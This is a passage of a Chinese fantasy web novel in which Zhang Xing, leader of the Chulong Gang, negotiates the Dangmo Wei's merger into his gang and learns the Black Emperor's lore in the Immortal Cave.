正说着呢,张首席忽然自行住嘴,然后诧异抬头,随即外面一阵喧嚷,许敬祖也赶紧退到一侧。 须臾,秦宝进来,蹙眉告知:“三哥,贾越醉醺醺被陆夫人亲自带人送回来了,她问你有没有安歇?” 张行一愣,旋即失笑:“告诉她,我素来惧内,妻子未至,孤男寡女,不敢晚间相见。” 秦宝愣了一下,转身去撵人了。 PS:大家中秋快乐!发大财! 第六十章 **行(3) 当夜不提,并无波澜,只是黜龙帮首席,出身北地的大英雄、大豪杰张行张三郎亲身至此,到底是遮掩不住的,也的确引发了一些动荡,往后三日,此地各方北地本土英杰纷纷前来拜访。 里面包括了三位女团首,两位掌管家族生意的夫人,张首席全都热情招待,也不说什么孤男寡女,也不惧内了。 且在这个过程中,张行毫不掩饰是来与大司命讨论黜龙帮、荡魔卫合一的,并多次公开重申了黜龙帮给出的基本条件……而与此同时,陆夫人亲至,就在河对岸落脚,俩家却毫无交流,而蓝司命协同陆夫人来,黑司命协同张首席来,陆司命也到,听说近一些的另两卫司命也马上到,各种信息混在一起却是瞬间卷起无数谣言。 当然,总体局势摆在这里,普遍性的认知还是没有超出现实太多的——黜龙帮已经全平河北,现在更是已经发军北地,据说南边已经打起来了,此时自然想争取荡魔卫,不战而屈人之兵,然后一举而全取北地;但陆夫人在内的北地其他势力当然对此不满,所以双方就在大司命这里拉扯了起来。 局势稍明之后,城内不免人心动荡起来,毕竟,谁还没有个立场利害? 只是在这种猝然的大变故之下,尤其是这一城之内汇集了可能是此时对北地影响最大的三个人,倒是让人有些不敢轻易发声表达了。 确有些万马齐喑之态。 而到了第四日,白有思来了。 白三娘凌空飞剑而至,临到石城前似乎察觉到了什么,直接在全城瞩目下飞落,寻到了黜龙帮众人,见到了张行。 而夫妻经月不曾相见,一见面却只先谈了公事。 “十日的期限?那荡魔卫里情形如何?”馆舍后堂内,白有思目送秦宝出门去带“外卖”,转头立即发问。“可有倾向?” 张行没有回答,而是看向了最近越来越顺手的许敬祖。 后者会意,赶紧上前来言:“回禀白总管,大司命本人不好说,几位司命态度倒是明显,南边来的黑司命路上就认可了我们的条件,算是我们最大的倚仗;而西面来的蓝司命明显是向着陆夫人,是我们主要的麻烦;至于陆夫人的父亲陆司命,却跟着大兴山东麓的大部分人一样,明显是有些摇摆;此外,那陆夫人亲身至此,其实也只是压住了蓝司命那些本就是西边来的人,并没有真正动摇大宗师的迹象。” 白有思思索片刻,微微颔首:“如此说来,陆夫人来了,却还是白来,只还是要看大司命心思了?” “看大司命心思是自然的。”张行笑道。“不过人家陆夫人到底抢了一招,如何算是白来?你想一想,她要是不来,当日那石堂上,就是我与三位司命外加大司命,就是二对一,局势就会直接倒向我们了,可她既来了,便是不说话,那石堂内也是二对二……不就拽住我们了吗?” 白有思一愣,旋即醒悟:“是了,那陆夫人既入了那石堂,不言则言,不举手也总是要算她一手的。” 张行点头:“确实。” 白有思看着对方,稍作思索,然后略显不解:“看三郎你的样子,竟是不在意陆夫人姿态?” “不在意。”张行摇头道。“陆夫人那里既想自保自立,便总有一战,便是荡魔卫这里,难道就存了一定能成的心思,真要是不成,也真要下定决心打进来,先吃南部,再打西部,最后来这里逼降荡魔卫。” “这倒也是,不做过一场,北地这么大的地盘,数百万之众,哪里轻易就能入手?”白有思也点头认可,然后却又询问另外一事。“你们比预定时日早了几日,是有什么缘故吗?” 张行便将路中被吞风君惊吓的事情说了一遍。 “吞风君,那大司命没与你有说法吗?”白有思好奇来问。 “没有。”张行即刻摇头。“黑延全程经历,我也当面提了一嘴,他置若罔闻。” “这就有意思了。”白有思笑道。 “可不是嘛,我觉得这事恐怕是个关键也说不定。”张行点头认可。“你自西面来又如何?可有什么值得一说的?” “有。”白有思正色做答。“我到了苦海边上,倒是涨了些见识……苦海太窄了,跟巫族那里交流极为通畅,比晋北有过之而无不及,沿岸许多战团与其说是战团倒不如说是巫族的混血部落,而且听说对岸不少混血部落也更像战团……当年罪龙废了自己堪比至尊的前途,划开此海,如今却变成通途,也不晓得祂在这海中是什么念想?” “应该不会有太多念想……”张行幽幽道。“最关键的问题其实是巫族跟人族已经没有什么区别了,只是一些文化差异也都能通彻,与之相比,一片海,倒显得无足轻重了。” “所以说,我亲身走了一遭后,确实觉得你那个策略可行。”白有思稍作正色。 旁边许敬祖支棱着耳朵,却有些糊里糊涂。 “此外,我还在那里听到了许多关西的事情,我父亲那边很有一些说法……”白有思继续言道。 许敬祖忍不住抬眼去看张行表情,却什么都没看到。 “我也听说了,那边确实是在打薛挺吧?” “是,而且打的很顺利,据说已经破了金城关,直入陇西腹地了。” “这倒是意料之中。”张行点头认可。“论家门,薛挺连薛常雄都比不上,何况是白氏?论修为,薛挺最多是个宗师,你爹是大宗师。论实力,薛挺是以七郡之地,领着当日大魏留给他的两万老卒,纸面上算是盟友的西部巫族早就碎成一地,人心各异,哪里比得上占据了晋地和关陇精华的大英?” “大部分都对,只一件事不对。”白有思笑道。“领兵击败薛挺的,乃是大英新的上柱国领左骁卫大将军,华国公韦胜机。” “当庐主人?” “是。” “了不得。” “当然了不得。” “或许可以用间。”张行心思跳跃。“蜀地素来是关西的钱袋子,冒出来一个刀把子未必是好事,偏偏这个刀把子还强的过分……你爹未成大宗师之前他就号称宗师第一吧?如今名实俱存,大宗师怕也在眼前了。” “是。”白有思点头。“我之前见过他,当时就觉得他与我父亲差不多,结果转身到了晋地就发觉我父亲已经成了大宗师……应该只是我父亲占了晋地地气,先成一步,而韦胜机大宗师也在眼前。” “这事也不好说,还得看他跟你爹关系如何?说不定人家就是那种生死之交呢。”张行复又自行转了回来。“两位大宗师……大英真是得天独厚。” “真到了大宗师,便是生死之交又如何?”白有思倒是不以为然。“还是需要志同道合,你看我师父,他跟我父亲也是生死之交……实际上,我父亲、我师父,还有韦胜机,这三人据说就是年轻时一起在蜀地结识的,可便是我师父,当日也只是履约击败了曹林便径直离去,目送伍大郎将伏龙印送到你手中,丝毫不管的。” “便是他没瞧见伏龙印,过河北而走也够意思了。”张行随口笑道,丝毫不顾身后不远处就是黑帝爷的神仙洞。“有机会还是要跟你师父聊一聊,咱们黜龙帮可不是什么四御的走狗,三辉一样敬重。” “或许他老人家真是觉得如此呢。”白有思肃然以对。“他眼里只有三辉的前途。” 张行点点头,复又转开这个话题:“你动身晚,河北那边有什么说法吗?” “自然是有的。”白有思精神微振。“你往北地来之前,关于各地怎么起行台,谁来任行台指挥,就闹得纷纷扰扰了,你往北地来以后,更是骚动,许多人还没见到结果就觉得北地一定能吞下了,以至于有不少帮里的人都建议开国,定个国号出来。” “也不是不行。”张行这次没有再坚持什么。“大英都有了,不差一个别的什么。” “大英可不是什么好例子。”白有思闻言笑道。“之前就有议论,说我父亲用这个国号不明不白……自古以来国号多用地方古国,以示人族正统传序,英国虽然也有古承,但人尽皆知,大魏改制后封的国公全都跟这些没关系,不然定国公睿国公就没说法了……据说,关西那边就有人建议,以起家的晋地为号,定做大晋为好。” “要是我就坚持用大英。”张行摇头以对。“有没有文化,丢不丢脸无所谓,关键是要关陇各家看的清楚,我大英是大魏出来的……哪怕是废了小皇帝,我也是承的大魏基业。” “这倒是切中要害了。”白有思顺势点头,却又来问。“那你准备用什么国号?建国后国家跟黜龙帮又该如何分派?” 张行刚要作答,却和白有思一起看向外面,听得入神的许敬祖等一众文书一起停下往外看,却只见秦宝拎着一个编笼走了进来。 后者来到桌前,将编笼打开,依次排开碗筷,却是一盆皮色白亮的带汤蒸雁,一碗明显点了油的黑粟饭,一碟时蔬挂鸡蛋,一边放还一边告知: “时候不对,只能选了蒸菜,回来路上还遇到蓝司命,说是大司命知道嫂子到了,正好这些天荡魔卫内里也有些讨论,想再听三哥说一说,便请去见一见……我说吃完就去。” “确实。”张行点头认可。“吃完就去。” 就这样,张行和秦宝在堂上陪同白有思用餐,其余文书便去整理一些东西……过了三四日,就不能只是张行一张嘴了,否则这些文书就算是吃干饭的了。 至于说偏军事的参谋们,此时干脆消失不见,也不知道干什么去了。 而到了午后,一众人方才逸逸然出了馆舍,在沿街的北地士民复杂目光的注视下,登上了那座石山,入了石城。 来到此处,蓝大温迎上,稍作寒暄,多看了白有思几眼,却也无话。 随即,一行人来到石城中央后方的神仙洞前,于黑帝观中稍作**祭祀,折腾了好一阵子,白有思还想去神仙洞看看,却又被拦住,到底是转向了那个石头小院,还在这里遇到了李清洲。 白三娘也不知道是跟谁学的坏毛病,明知道人家跟黜龙帮不对付,明知道身旁还有个早就不耐烦的司命,里面更等着一个大司命,却还上去拉着对方的手又说了一阵子话。 说的蓝大温都有些发呆了,方才入内。 来到石堂内,大司命依旧端坐石桌尽头,陆夫人也在,依旧坐在左面,还带着那个孩子,只是换了身稍显华丽的宫廷衣装,黑延、陆惇也在,又多了两位新抵达的司命,一起坐在了右面。 随即,张行一行人进来,秦宝自留在门内,张行先不开口,只努了下嘴,许敬祖便领着七八个文书占据了陆夫人那边空出来的一排座位,摊开文书,与对面的几位司命相对。 然后,张大首席依旧不吭声,只是朝着对面一拱手,便与白有思、贾越一起坐到大司命对面。 见到张行如此反客为主的姿态,两位新来的司命不由斜眼来看,而大司命倒是神色如常,等蓝大温也落座了,方才含笑开口:“张首席,听说白三娘也到了,怎么也要见一见,恰好我们这边黑岩卫的黄司命与青龙卫的乌司命都来了,他们对之前谈的条件有些不清不楚,想再问一问……” 张行只是点头,白有思也只能拱手,引得那陆夫人多看了好几眼。 而简单的招呼以后,堂内明显沉默了一阵子,又经历了一些眼神交流,才由新来的黄司命开口:“张首席,我看你给的条件,明显是要在北地设行台,那敢问届时北地这里荡魔卫与行台并立,权责如何划分?” 张行没有吭声,只是看了一眼许敬祖,后者得到应许,立即扬声做答:“不瞒贵方,基本的军、财、民、工、教必须要纳入行台,否则何必应许荡魔卫的诸位那么多头领和大头领?不就是为了方便兼任实职吗?当然,诸如祭祀节庆的事情还是荡魔卫自属,包括部分**裁决权,大部分荡魔卫直属产业,我们也尊重北地传统人心,愿意让出来,约个五十年、一百年的期限,再做处置。” “若是这般说,岂不是说我们荡魔卫被你们黜龙帮吞并了?”黄司命蹙眉来对。 许敬祖去看张行,眼见后者殊无表情,便笑着与对面之人来讲:“若是黄司命觉得不妥当,也可以让荡魔卫吞并我们黜龙帮,然后各地设司命,允许我们黜龙帮的人以个人身份加荡魔卫来……只要荡魔卫确保大司命是我们张首席的,河北、东境、淮北各地司命也都是黜龙帮出身,然后按照荡魔卫家法一起开会议事,平日听大司命指派,其实也未尝不可。” 黄司命愣了一愣,捻须不语,其余几位司命也有些尴尬。 过了片刻,换那乌司命缓缓开口:“张首席既存了免动兵戈之意,为何此时大军还在攻打南两城?” “乌司命,咱们莫要弄混了因果。”许敬祖越来越熟练,越来越轻松了。“天下四分,黜龙帮全据河北如卷席,临到春末便已经来到北地跟前,是不可能在幽州空耗整个夏秋的,否则便是帮中哪位头领的老母也要来问,如何坐失良机,将来在它处坏掉许多儿郎性命?换言之,是必须要打,所以我们首席才为了北地苍生来求和,而非是为了求和才让后面装模作样打起来……两者截然不同。” 到了此时,莫说几位司命,便是大司命与那陆夫人还有白有思都忍不住来看这年轻的黜龙帮文书。 而那乌司命被憋得难受,大概性情也有些不耐烦,便终于抛开这些浮皮,说到今日最关键的一条了:“黜龙帮对北地势在必得,可北地却不止是荡魔卫一家……你们黜龙帮准备如何来对镇守府八公?难道要学眼下对落钵城一般给挨个敲了?” 许敬祖微微一笑,欲言又止,复又看向了张行,他心里清楚,这种关键表态还得是这位首席才行。 张行面色不改,终于开口:“乌司命所言极是,既要寻机与荡魔卫合力,自然要将八公挨个敲掉……不然呢,留着他们过年一起炸面团吗?” 这下子,石室内瞬间安静了下来。 没办法,这几天闹闹腾腾是干什么?陆夫人匆匆赶过来斗智斗勇的所为何事?荡魔卫最大的外力牵扯是哪里? 其实人尽皆知。 “张首席。”黑延冷冷开口。“荡魔七卫与镇守八公素来对立是真的,但却不是你拉一个打一个那般简单,因为荡魔卫跟北地是一体的,荡魔卫便是再日薄西山,也抓着整个北地,要为整个北地局势负责,你若想存心让我们跟镇守八公之间势同水火,那便是小瞧我们了。” 张行点头:“我自然晓得这个局面,但是诸位,我也实在是不愿意遮掩……那就是即便荡魔卫跟我们合为一家,下一步也是要敲掉镇守八公……非要说有些素来合作的镇守府子弟,那我们给他个身份,继续任用便是,但也要打掉镇守八公,去其规制,建立郡县……否则还是那句话,我为什么要来这一趟?直接在打下南边两城,要个名义上的盟约不就行了?” 原本石堂内颇有几人在愤愤之态,但中间听到郡县二字开始,便如中了定身咒一般瞬间无声。 很显然,他们不是第一次面对这个说法,而这两个字也的确给了他们很大压力。 许敬祖见状,不失时机来插话:“诸位,你们莫要忘了,北地镇守八公是怎么来的?难道不是中原豪杰北上,逼的北地内里改荡魔卫变镇守府吗?而千百年来,中原豪杰一而再再而三往北地来,逼着北地改制,莫不都是失心疯?而这种举止,不也正合了上次我们首席的言语吗?大势如斯,不在此就在彼,诸位何必徒劳做一棵违逆大势的逆风野草呢?道理我们首席委实说透了!再计较就没意思了!” 此言一出,陆夫人殊无言语表情,蓝大温却看向了坐在尽头的大司命,而眼睁睁看着后者并无半点反应,这位安车卫的司命却是终于大怒,直接起身呵斥:“你们想要投降做人家的狗,那便自家去做,反正这卫中是你们说了算!但真到了那个时候,且与我先说一声,我好卸了这个司命的职责,去专心给人拉车运货!” 说完,竟是拂袖而去。 蓝大温一走,石堂内的气氛不免更加沉闷,过了片刻,那大司命更是一声叹气,然后终结了这场蛇头蛇尾的会谈。 被赶出了石城,尚未来到下面馆舍,许敬祖便迫不及待,难掩喜色了:“首席,总管,这事竟是要成了!” 这话自然有些道理,那蓝大温被压得破了防,本身就说明荡魔卫高层讨论中他处于弱势……按照某些高端电影里的说法,谈判的时候最大的忌讳就是一方展露出内部意见的不一致。 几日前,贾越稍微露了一下偏向北地本土的立场,晚上就被人灌醉送回来了,大概就是这个意思。 那今日又如何呢? “如何就要成了?”张行轻易打断对方。“咱们到底是外来的,没有这里的根基,只能指望几位司命和大司命能高屋建瓴给个好结果,千万不要得意忘形,更不要激化矛盾。” “是。”许敬祖肃然以对。“首席所言极是,往后几日是害人之心不可有,防人之心不可无……” 张行点点头。 倒是白有思搭着凉棚去看这黑水旁的偌大城市,给了一个莫名的判断:“依着我说,怕是没有几日了……” “怎么说?”张行认真来问。 “现在局面摊到这份上,他们再等下去还能等到什么?等李四攻下南面两城?还是那个刘文周敢来?”白有思若有所思。“总不能是等至尊开口吧?” “不错。”张行想了一想也笑了。“只是几位司命之间商议,几日也就够了,如今你又来了,他们之间也闹僵了,除非确实还有什么可等的,否则也该揭底了。” 两人猜的一点都没错。 且说,今日恰好是四月月中,到了晚间,头顶双月如盘,照的满城辉光熠熠,而因为白有思到来,再加上来到这黑水畔反而能偷得清闲,于是张行便约了城内一家饭庄,点了些北地菜肴,叫了几坛酒水,就在馆舍院中摆宴赏月。 结果,两杯酒刚刚下肚,几盘菜还冒着热气,一碗面都没吃完,便有一名**武士随着送菜的进来,说是大司命有请。 众人无奈,便要起身一起过去,这武士便再度强调,只请了张首席和白、贾两位大头领,请不要带随员。 这下子,几人反而精神一振,晓得戏肉到了,便立即应声,让秦宝留后,就要直接过去,唯独贾越,张行眼瞅着对方回到屋内,将自从入了北地就没佩戴的惊魄剑带了出来,然后才一起动身。 还是那条路,上了石山,直奔黑帝观,也就是在这里众人准备转向那个石院时被领路的武士制止了。 “大司命在神仙洞里。”武士抬手一指。“从石廊前头的凹口下去就行。” 三人没有停顿,快步进了这黑帝爷成道的根基之地。 入了这天然石室,果然见到弃了黑氅的大司命本人,戴着武士小冠,披挂一件黑色的半身甲胄,挂着一套黑色战袍,然后正在石室正中央的一处石壁前手舞足蹈,眼瞅着就是北地特有的战舞戏,当初高督公擅长的那个。 眼见如此,贾越不敢怠慢,快速上前对石壁行礼。 其余两人却走的慢了些,而且沿途四下打量……然而,打量来打量去,也没发觉这神仙洞有什么玄机。 非说特色,那就是一个字,大! 外面看起来也就那样,但真走进来就发现,这个天然石室对于人而言非常宽阔与高深,地面和墙壁被人为打磨后形成了明显的功能性区划,除了房顶比较高外,跟外面的石头建筑内部没什么区别,几乎算得上一个六面包裹的小城……可以想见,这在黑帝爷那个时期,是一个多么出彩的军事、生活根据地。 就是这个大石头洞,造就了黑帝爷麾下部众那种带有根据地的酋帮活动形式,继而影响了整个北地,诞生了荡魔卫叠加战团的组织架构,继而影响到了整个天下。 但它真的就是一个大石头洞而已。 神奇的永远是人。 来到石壁前,张行和白有思一起抬起头来,却是不约而同心中一声叹气——原来,中央光滑巨大的石壁上,只有三个金文形态的字而已,虽然对金文似是而非,但这三个字却不知为何,乃是一眼而知,正是天、地、人! 张行一声不吭,躬身一拜,然后肃立静候大司命跳完舞,也就是这个期间,陆夫人也孤身至此,后者也来一拜,然后朝几人微微含笑颔首,方才立定,似乎根本不知道眼前这人白天口口声声说要铲平镇守府八公一般。 过了片刻,大司命跳完了舞蹈,负手立在一侧,便望着头顶石壁娓娓道来,乃是做了个张行前世参观时导游一般: “想当初,青帝爷教授文明,百族昌盛,但也很快起了隔阂,相互兼并起来,到了黑帝爷降世的时候,虽还有其他的部族存世,但人巫妖三族的气势已经势不可挡。 “可也仅此而已,因为当时除了三族之外,还有许多真龙横行天地,山野湖海中也有许许多多那种得了真气然后显化神异的存在,他们有的善,有的恶,有的干脆与野兽无异,还有的直接受至尊庇护,但总归与三族凡人秉性不符,而且有相争之态,这就使得所谓邦国内里联系都难,遑论建起如今这种国家了。 “黑帝爷诞生在晋北与河北那边,具体位置已经不可考了,祂幼年时父母就亡在外面的神异之中,据说祂还有个姐姐,作为祭品也亡在某个神异口中,再后来不用想也知道,稍微长大一些,祂就大杀四方,把部族周围的神异杀了个干净。 “但因为居于河北腹地,杀了一个,总还有三五个其他的再过来,而且还要与四面八方的其余部族打仗,还要应付部族内里的贵种的防备,祂便觉得有些不耐,再加上后来遇到一条真龙,极有手段,便干脆弃了河北之地,北上至此,再起基业。” 张行听到这里,眼皮一跳。 “祂老人家想的很简单。”话到这里,大司命也扭头来看张行。“既然在河北那种地方杀了那些神异,周围总还能补上来,那干脆从全天下的最北面杀起,从头到尾杀的干干净净……结果,祂也在黑水这里遇到了吞风君,吞风君让出黑水与这石室,自家去了天池,祂老人家就在这里自行领悟了弱水真气,还**了一些愿意追随祂的豪杰。 “因为祂不敬那些真龙,不敬那些神异,甚至不敬真龙出身的彼时唯一至尊,所以才只敬天地人,也还是因为如此,干脆斥那些神异为魔,所以从神仙洞里出来的这几百好汉,就号称荡魔卫……” “闻之令人神往。”白有思怀抱长剑,难掩幽幽神色。 “这是自然。”大司命点点头,也有些感怀之态。“后来的事情你们也知道了,就不多说了。” 几人都点了点头。 后来的事情是什么,无外乎是这位至尊老爷几乎将北地、河北一带的“魔”杀了个干干净净,将真龙也杀的七七八八,降的降,死的死,几乎只有一位吞风君还在祂的领内活动,而且杀着杀着这唤作荡魔卫的酋帮就锻炼出来了,也成人族共主了,算是名义上统一了人族……这还不算,还继续与巫妖那两族的那两位在大河上下杀了个字面意义上的天地无光,山川变色。 最后,同时代的三位天骄,一念之差,一落苦海,两登天门。 “待会再说正事。”大司命眼见如此 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过了一会,还是白有思继续来问:“大司命,我也是什么点选吗?” 大司命松了口气,眯眼看了看对方:“白三娘当然点选,而且是这里最大的点选,赤帝娘娘唯一的点选……说句实在话,我真没想过赤帝娘娘的点选能进到这神仙洞里,更没想过赤帝娘娘的点选会与黑帝爷的点选成婚姻……而且,今日之所以请你们过来揭底,正是因为亲眼见到了白三娘当面,才下定的决心。” “点选也分大小吗?”陆夫人也忽然来问。 “自然。”大司命隔着石头山指天从容做答。“天运凝于红月,四御共分其中二三,然后再做平分,各自施为……白帝爷最是精明,直接撒入关陇巴蜀荆襄,壮大自己出身之地的气运;青帝也最是直接,只是来保自己的东夷五十州;而赤帝娘娘最是大方,竟只用在祂真火教中的嫡系传承,也就是只点了白三娘一人;而我们这里,黑帝爷则是把自己那份摆出来,北地英俊愿意上天池去取的,都可以自取……但这样不免人就有些多了。” 陆夫人自然惊疑,白有思虽然早晓得一些说法,但此时坐实了自己赤帝娘娘点选,晓得自己出身真火教,完全验证了当日齐王曹铭传的话,倒真有些空虚。 贾越嘴角动了一动,似乎是想说什么,却又有些胆怯。 而张行目光转了一圈,主动挑破了那个问题:“大司命,既是点选,便是有些至尊的恩泽在身上……这个恩泽是一样的吗?” “到了最后都一样,一开始不一样。”大司命脱口而对。 “最后是开锁?天下万般种类真气,只要接引入体过,便能任意流转?” “是开锁,但所谓开锁,其实是指点选得了天地气运,自行其是后,可以将四御之恩泽共用罢了,而之前,各家点选只能用各家的恩泽……譬如你说的万般种类真气转换,便是青帝爷的恩泽。” “那只说我们黑帝爷的恩泽,是不是**夺气?”张行继续追问。 “不是**夺气,是荡魔夺气。”大司命立在那天地人的石壁下大声来笑。“这是黑帝爷横行天下自开的诀窍,也是祂当时力压其余两位,**无数真龙神异的倚仗……只是尔等如今只知道也只能同类相残罢了!” 张行愣在那里,半晌不能言语,其余几人也都无声,一时间只有大司命的笑声在神仙洞内鼓荡,外加几人的呼吸声罢了。 过了许久,张三也跟着笑了起来:“如此说来,只是我们几人素来以小人之心度至尊之腹了……不瞒大司命,我自从有了这个神异,只觉得是什么大能要把我当做一个练功的工具,替他收集真气,最后只沦为祂的口中餐;而贾越更是忧心忡忡,只觉得黑帝爷的意思便是要我们这些人自相残杀,最后成就一人……” 说着,张行看向面色惨白的贾越,摊手来对:“但其实如何呢?老贾,事情不过是一言而破,你却非得当成一块心病……若不是今日大司命当面解释,你是不是还要准备这次事后去到陆夫人那里做死间,杀了陆夫人,再让我来手刃你?以给我作个成就?” 贾越面露惊惶。 张行和陆夫人也都瞬间愣住……无他,看贾越的反应,这厮居然是真存了类似心思的。 白有思倒是忍不住嗤笑一声。 大司命看了不好,赶紧也来讪笑:“自相残杀当然是胡扯,至尊绝无此意,反而张首席前面那句,倒也不算胡说……” 张行再度惊异。 “千古英雄,显化于世,若出于至尊之手,便如棋落子,届时豪杰自行其是,若能脱开棋局,自立天地间,自有一番造化。可若是那棋子自家厮杀陨落,终于棋盘之上,然后收于彀中,是不是白归白,黑归黑呢?”大司命正色提醒。“张首席,道理就是这个道理,我说了,今夜不会有隐瞒……你们这些豪杰,若是不能超脱凡人之境,有些东西自然是要还给至尊的。” “若是这般倒也无妨。”张行想了一想,反而释然。“人活一世,自有其心志,至尊在上面,只要没有刻意堵住通路,便无可指摘,何况到底是助了这些点选一臂之力……只是大司命,至尊只是给了恩赐吗?没有**人心,推而压之,引而诱之吗?” 大司命沉吟片刻,认真反问:“张首席是指什么?” “当日我在河北,被大宗师所困,几无生路,若非那三一正教的掌教目送他的徒弟带着伏龙印过去,我当时唯一的出路,怕是要带着一些残兵败将随着北地援军往北地来逃的。”张行笑道。“之前还不觉得什么,可是这次过来,遇到那位胸口挂镜子的,便说我该早些去北地的,掷刀岭还给我留了两卷天书,来到这里,听到大司命你说起黑帝爷的经历,便愈发觉得怪异……怎么感觉有人引着我、逼着我学祂呢?” 大司命一时无声,明显有些疑惑,白有思倒是微微眯眼,直接认定了此事。 没法不认定的,因为当时她也是一个处境,赤帝娘娘摆明了车马要她去南面的……只不过,就好像伍惊风在三一正教掌教的注视下带着伏龙印抵达了包围圈一样,而东夷的那位大都督也有着自己的打算,这才能勉强脱身。 一南一北,一山一海,一赤一黑,太像了,也太针锋相对了。 “其实,真要是去年来了北地,便没有今日这些纷争了。”张行笑道。“不是我自夸,黜龙帮到底是天下数得着的强梁,其中英俊人物还是不少的,去年把他们带来,借着铁山卫朱司命家的家务事,还有黑司命的协助,我几乎能想到这一年如何在南部立足,又如何北上与诸镇守府交战,再如何从荡魔卫内里撬动局面……等到了今时今日,不管是战是和,是此是彼,总能从内里将北地捏合成一块了,再过几个月,天气一凉,说不得就能从这神仙洞前誓师南下河北,再度横行中原了。” “确实。”大司命听了片刻,竟然也点头。“若是照你这般说,至尊真的暗地里推动也可能是有的,毕竟,我也不是祂老人家肚子里的虫子……这个我真不知道。” “还是要揣摩一下的。”张行借机转到了关键问题上。“大司命,你瞧着这事,若真是至尊老爷的意思,岂不是说这至尊老爷是有意将北地托付我手?” 石室内再度安静下来。 而大司命沉默片刻,缓缓开口,给出了正式答复:“张首席,我可以明白的告诉你,我与几位司命商讨了一下,还是赞成合并的多一些,今日见到白三娘后,更是不愿再做拖延……道理你已经说的足够清楚,我们也认,就不必多言了……但是,你必须要代表黜龙帮还有你自己,包括白三娘,额外答应我们三件事。” 张行看了眼白有思,然后立即回过头来肃然以对:“您说。” “其一,我还是要借今天黑司命一句话,我们荡魔卫是跟北地打着骨头连着筋的,而且荡魔卫也不是我们几个人的荡魔卫,我们只是大司命、司命,按照规矩可以做一些决断,但荡魔卫那么大,那么多人,还有许多附属于我们的战团,不可能我一句话他们就都俯首帖耳,遵而行之。”大司命一声叹气。“张首席,消息一旦传达下去,肯定有人会**,会**……你要赦免他们,因为事情是我们惹出来的,是你仓促逼迫出来的。” “我现在还没有赦免的权力。”张行脱口而对。“但是我可以下令,所有荡魔卫内部叛乱,除非是进军路线上直接遇到,否则全都交给荡魔卫内部来处置……你们如何处理内部叛乱,我们取得北地其他地区之前,决不干涉。但反过来说,如果有人直接攻击我们,或者跑到北地敌对方参战,也请你们不要再做理会。” “可以。”大司命想了一想,点头认可,却明显有些无力感。 白有思趁势瞥了眼陆夫人,却见对方面色如常,便主动催促:“还请大司命继续试言之。” “其二,张首席自家说的,荡魔卫可以跟黜龙帮并存,那么你们要允许我们南下,去河北、东境、淮北去收拢各地的黑帝观,重新建立荡魔卫。”大司命继续来言。 “原则上可以。”张行想了一想,给出答复。“但是,荡魔卫南下,不是争治权军权的,不能反过来影响我们的行台、郡县,要服从我们玄道部的规章制度,不能倒反日月。” “这是自然。”大司命正色道。 “那最后一件是什么事?”张行继续来问,却又忽然抬手止住。“让我猜一猜行不行?” 大司命微微一愣,旋即来笑:“自然可以。” “是要我们黜龙帮替黑帝爷黜落这黑水尽头,天池中的那条龙吗?”张行以手隔着石山指天。 贾越目瞪口呆,倒是陆夫人与白有思都没有几分意外。 大司命沉默了一下,缓缓点头:“正是如此,黑帝爷一意荡魔,如何能忍吞风君独留北地?何况吞风君当日让出这神仙洞,本就是得了青帝爷的提点,相当于诈了黑帝爷一番,后来黑帝爷登了天门,这吞风君当日举止更是明摆着陷入两位至尊之间,所以黑帝爷一直想黜之而后快,只是碍于当日约定,不能背盟出手罢了,便是我们荡魔卫起于神仙洞也无法出手……实际上,历次天下**,至尊点选英俊,别处不知道,北地这里总是指望着能黜落吞风君的,只是一直没成罢了。” “怪不得刚一入北地,吞风君便要去看我和贾越。”张行终于恍然。“而且露了杀机。” “祂与至尊有约,不敢落下山谷的。”大司命冷笑道。“如何,你们先黜龙,我们就合并,决不食言。” “先宣布合并,我们自会去黜龙。”张行答应了条件,却往前半步。“便是你们没法出手,可不全北地之力,不尽发黜龙帮精华,如何黜龙?” “可以。”大司命再度沉默了片刻,然后点头应许。 陆夫人毫不犹豫,转身离开。 张行目送对方离开,然后再来从容询问:“殷龙头,既要黜龙,敢问荡魔卫这里是不是有黜龙的准备?白帝爷都知道留给后人一个伏龙印,那东夷大都督也有落下分山君的手段物件……” 大司命……也是黜龙帮最新的北地龙头之一,大宗师殷天奇缓缓摇头:“荡魔卫能做出来这个东西,但我们没法做,不过据我所知,有个叫做刘文周的人,好像是去世的金戈夫子学生,素来喜欢制作此类物件,如今赶巧就在北地,你不妨问问他。” “哦。”张行恍然,却到底忍不住来问。“殷龙头,你说,我们黜龙帮取这个名字,是天意呢,还是人心?” “应该是人心吧。”殷天奇叹道。“若是天意,直接叫荡魔帮岂不最好?” 张行这下倒是无话可说了。 第六十一章 **行(4) 没有十日,黜龙帮首席抵达黑水卫后不过五日,大司命殷天奇便正式发出了布告,签署了文书,向整个北地宣布了荡魔卫与黜龙帮合作的消息。 说是合作,但其中荡魔卫成员以个人身份加入黜龙帮,荡魔卫整个获得黜龙帮龙头、大头领、头领定额,然后黜龙帮会在战后于北地建立行台,设立郡县这些消息,还是清楚无误的说明,这是荡魔卫实际上与黜龙帮合并了,而且是以黜龙帮为主吞并的荡魔卫。 布告一发,再难转圜。 当日,安车卫的司命蓝大温便直接请辞归乡,履行了自己的**诺言……仅此一例便可想见,殷天奇昨日所言之荡魔卫内部动荡几乎是必然的,而且会相当激烈、频繁与广大。 而相较于昨夜便连夜回到听涛城的陆夫人,张行这边等到布告发出,眼见着全城沸腾,数不清的战团信使飞驰出去以后,也是毫不犹豫,只留下贾越为首、许敬祖实际负责的一个联络队伍留在此地,自己则与白有思、秦宝领着几位参谋协同黑延在内的白狼卫众人,立即按照原路返回。 来的时候大张旗帜,走的时候那面红底黜字旗干脆是卷起来的。 然而,四日之后,刚刚越过白练城领内标志性的白河,连葫芦口都还没摸到边呢,一行人便遇到了一场大规模骚动……根据自南方逃难的人说,多个战团忽然在白练城南部**,相互之间,包括与白练城的直属军事力量之间,产生了相当混乱的冲突。 众人马上意识到,这不大可能是因为荡魔卫易帜之事,因为他们一行南下的速度已经极快了,消息都赶不及,所以骚动的缘由必然在更南方。 果然,一日后,随着众人接近葫芦口,很快就通过黑延出面从一位路上遭遇的战团团首得知了原委。 原来,就在张行于黑水卫盘桓之际,李定已经通过一场野战和一场攻城战成功攻破落钵城,并将鹿野公父子(不止是领兵的长子,包括从行的次子和守城的幼子外加一个从军作战的二女儿)一并悬首示众……这当然是引发恐慌的原因之一,但不是说野战与攻城打的这么干脆吓到了北地人,北地又不是什么闭塞之地,不晓得大魏兴衰和天下大势,问题的关键在于一个黜龙帮的龙头就那么毫不犹豫的将在位几十年的鹿野公全家给杀了,委实惊人。 这种思想上的冲击力,完全不亚于战事之迅速。 